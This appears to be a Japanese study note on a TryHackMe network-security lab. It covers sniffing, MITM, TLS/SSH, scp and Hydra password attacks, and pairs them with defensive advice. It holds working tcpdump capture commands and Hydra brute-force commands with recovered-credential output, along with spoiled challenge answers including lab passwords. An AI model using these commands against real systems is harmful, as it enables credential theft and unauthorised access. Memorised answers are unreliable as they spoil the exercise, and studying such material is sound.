はじめに
-
スニッフィングは平文通信の天敵。
tcpdump/Wiresharkで簡単に拾える。まずTLS/SSHへ - MITMは完全性を壊す攻撃。証明書検証と暗号化で封じる
- パスワード攻撃はHydra+適切なワードリストが強力。守る側はMFA/レート制限/ロックアウトの三点セット
- 現場は CIA(機密・完全・可用) で守る対象を明確化 → DAD(漏えい・改ざん・破壊) を先回りで潰す
セキュリティの土台:CIA と DAD を同時に持つ
- CIA: Confidentiality / Integrity / Availability
- DAD: Disclosure / Alteration / Destruction
| 守り(CIA) | 破り(DAD) | 代表的な攻撃例 | ざっくり影響 |
|---|---|---|---|
| 機密性 | 漏洩 | パケット盗聴、弱い通信路 | 認証情報・個人情報がバレる |
| 完全性 | 改ざん | MITM、悪意あるプロキシ | 送受信データをねじ曲げられる |
| 可用性 | 破壊 | DoS/DDoS | サービスが止まる |
前のめりなポイント:プロトコル設計の“平文”は、だいたい漏れる前提。暗号化でレイヤを足す発想がコスパ最強です。
1. Sniffing Attack(スニッフィング):平文は見られるものだと思え
なにが起きる?
平文で流れるプロトコル(Telnet/HTTP/FTP/SMTP/POP3/IMAP …)は、中継経路にアクセスできる第三者がいれば内容が丸見え。
アクセス権があればtcpdump / Wireshark / Tsharkで十分抜けます。
実践コマンド
# POP3(110番)だけASCIIで抜き見る
sudo tcpdump port 110 -A
# Telnet(23番)のみ
sudo tcpdump port 23 -A
# Wiresharkの表示フィルタ例
imap # IMAPのみ
pop # POPのみ
telnet # Telnetのみ
http # HTTPのみ
対策(攻撃面&防御面の両視点)
- 攻撃面:フィルタを絞ってターゲットに集中。認証フローの直前/直後に注目
- 防御面:TLS(DoT/HTTPS/IMAPS/POP3S/FTPS…)や SSH を使って「通信路を暗号化」
平文は“社内ネットワークでも”原則NG。ゼロトラストな気持ちでいきましょう。
2. MITM(中間者攻撃):改ざんは“気づかれない”と成立する
なにが起きる?
A→B の通信に E(悪者) が割り込み、AにはBのふり、BにはAのふり。
HTTP のように相手の正当性・メッセージ完全性の確認が弱いと、改ざんが成立。
有名ツール
- Ettercap:3つのインターフェース(CUI / TUI / GUI)
-
Bettercap:3通りの呼び方(
bettercap/sudo bettercap/bettercap -eval ...のようにプロファイル/モジュール多彩)
対策
- TLS(PKI)でサーバ真正性+暗号化
- HSTS、証明書ピンニング(モバイル/クライアント)
- HTTPS Everywhere 前提の設計・リダイレクト
3. TLS/SSL:どのレイヤで“守る”のか
どこに効くの?
OSIで言えば、プレゼンテーション層で暗号化を挟み、アプリ層の“平文プロトコル”を安全なトンネルに乗せるイメージです。
歴史的にはSSL→実運用はTLS。
既存アプリ層(HTTP/FTP/SMTP/POP3/IMAP…)の上に暗号層を載せる。
| プロトコル | 既定ポート | 暗号化版 | 既定ポート(TLS) |
|---|---|---|---|
| HTTP | 80 | HTTPS | 443 |
| FTP | 21 | FTPS | 990 |
| SMTP | 25 | SMTPS | 465 |
| POP3 | 110 | POP3S | 995 |
| IMAP | 143 | IMAPS | 993 |
- DNS も暗号化できます:DoT(DNS over TLS)
- HTTPS は TCP接続 → TLSハンドシェイク → HTTP の順
意見:“とりあえずTLS”は正義。でも証明書運用(期限/チェーン/ピンニング)をさぼると“紙の盾”になります。
4. SSH:安全な管理と転送(SCP/SFTP)
- 既定ポート 22
- 初回接続時のホスト鍵指紋確認は MITM対策の要
- SCP/SFTP でファイル転送(FTPではなくSSHで包む)
SCP
scp は Secure Copy の略で、
SSH(Secure Shell)を使ってファイルを安全に転送するコマンド です。
基本の説明
scp は cp(コピーコマンド)に似ていますが、
ネットワーク越しに 暗号化通信 でファイルをコピーできます。
内部的には SSH プロトコル(TCPポート22) を利用します。
scp [オプション] <送信元> <送信先>
使用例
ローカル → リモート
scp file.txt user@remote_host:/home/user/
- file.txt をリモートホストの /home/user/ に送信
リモート → ローカル
scp user@remote_host:/home/user/file.txt ./
- リモートの file.txt をカレントディレクトリにダウンロード
ディレクトリごとコピー(再帰的)
scp -r project/ user@remote_host:/home/user/
よく使うオプション
| オプション | 説明 |
|---|---|
-r |
ディレクトリを再帰的にコピー |
-P |
SSH ポート番号を指定(例: -P 2222) |
-p |
元ファイルのタイムスタンプやパーミッションを保持 |
-v |
詳細モード(デバッグ用) |
-C |
データ転送時に圧縮を有効化 |
演習メモ(TryHackMe課題)
# 接続
ssh mark@x.x.x.x
# パスワード: XBtC49AB(大文字小文字注意)
# カーネル
uname -r
# → 【5.15.0-119-generic】(回答)
# ファイル取得
scp mark@x.x.x.x:/home/mark/book.txt ./
# → サイズ表示 【415KB】(回答)
実務Tips
-
初回接続のフィンガープリント確認を運用に組み込み、
Bastion+SSO+強制鍵・MFAで“パスワードの誘惑”を排除
5. パスワード攻撃:Hydra で最小労力・最大効果
攻撃三本柱
- 推測(OSINT)
- 辞書(wordlist)
- 総当たり(Brute-force)
THC Hydra(基本形)
hydra -l <user> -P <wordlist> <host> <service>
# 便利オプション
# -s <PORT> : 非デフォルトポート
# -V / -vV : 試行を逐次表示
# -t 16 : 並列数
# -d : デバッグ
# 例: FTP
hydra -l mark -P /usr/share/wordlists/rockyou.txt x.x.x.x ftp
# 例: IMAP
hydra -l lazie -P /usr/share/wordlists/rockyou.txt x.x.x.x imap
# 例:複数のユーザー ftp
hydra -t 8 -vV -l /root/usernames.txt -P /usr/share/wordlists/rockyou.txt ftp://x.x.x.x:10021
[10021][ftp] host: x.x.x.x login: eddie password: jordan
[ATTEMPT] target x.x.x.x - login "quinn" - pass "123456" - 14344399 of 28688796 [child 7] (0/0)
[ATTEMPT] target x.x.x.x - login "quinn" - pass "12345" - 14344400 of 28688796 [child 1] (0/0)
[ATTEMPT] target x.x.x.x - login "quinn" - pass "1234567890" - 14344446 of 28688796 [child 2] (0/0)
[10021][ftp] host: 10.201.39.79 login: quinn password: andrea
[STATUS] attack finished for x.x.x.x (waiting for children to complete tests)
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-10-27 10:19:51
防御の型(小さく始めて強い)
- MFA、レート制限、ロックアウト
- 長くて強いパスフレーズ+Have I Been Pwned 参照
- 管理系はネットワーク制限(IP allowlist/VPN/ゼロトラスト)
6. チャレンジ回答まとめ
-
tcpdumpでTelnetのみ:port 23 - WiresharkでIMAPのみ:
imap - Ettercapのインターフェース数:3
- Bettercapの呼び出し方:3
- DNS over TLS:DoT
-
uname -r(mark@10.201.104.42):5.15.0-119-generic -
scpのbook.txtサイズ表示:415KB - IMAPユーザー
lazieのパスワード:butterfly
まとめ
-
平文プロトコルを排すのは“教養”ではなく“倫理”に近い
-
TLS/SSH を当たり前に、認証はMFA前提で
-
攻撃側の最短手順(tcpdump/Wireshark/Hydra)を知れば、防御の“具体” が決まる